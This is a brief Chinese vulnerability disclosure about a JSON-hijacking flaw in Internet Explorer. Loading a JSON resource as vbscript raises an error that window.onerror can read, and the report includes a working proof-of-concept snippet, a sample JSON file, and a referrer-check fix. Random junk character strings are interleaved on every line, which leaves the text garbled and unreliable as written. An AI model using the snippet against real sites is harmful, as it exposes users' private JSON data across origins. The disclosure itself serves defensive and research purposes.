简要描述:
$ w% |. t1 z ?2 K2 ~+ S
- `" Y* r/ g8 Z3 H2 o/ r" D由于某些资源容器对数据处理不当导致json劫持漏洞.- N% Q2 d( E% o5 g- g* @, f1 @( ~
详细说明:
4 @2 p/ V! ^. w: L由于ie支持vbscript,所以script元素可以指定成vbscript语言:
! _, x, R! P. w1 E8 u! _6 S<script language=vbscript></script>
0 j8 a: s; }8 o- e / S; n+ V* ^3 ~4 ^# w* Z/ c
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.# f3 R6 {. T; @' a# T* `
漏洞证明:
4 U. E0 e% N2 y<script>
& j7 M/ W& `5 i) Iwindow.onerror=function(_){
C9 {6 R9 r9 I6 D8 B" X8 Halert(_)
. C! C. m6 V# T1 ^6 s% P+ C6 K}5 \) f6 n N% c" T
</script>+ G" m9 F" i# A. [9 P8 _
<script language=vbscript src=1.json></script>' H! \9 \' ^) x ?% A
1 Y2 ~- F4 C$ ]3 X- m( g& { 1 j& A& q) b: o* H& J9 T
1.json:
/ |9 n8 i7 v+ `. {[{"name":"sogili","age":19}]5 n m, g7 _& ]" I
修复方案:/ u% F1 X1 m7 }0 z
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |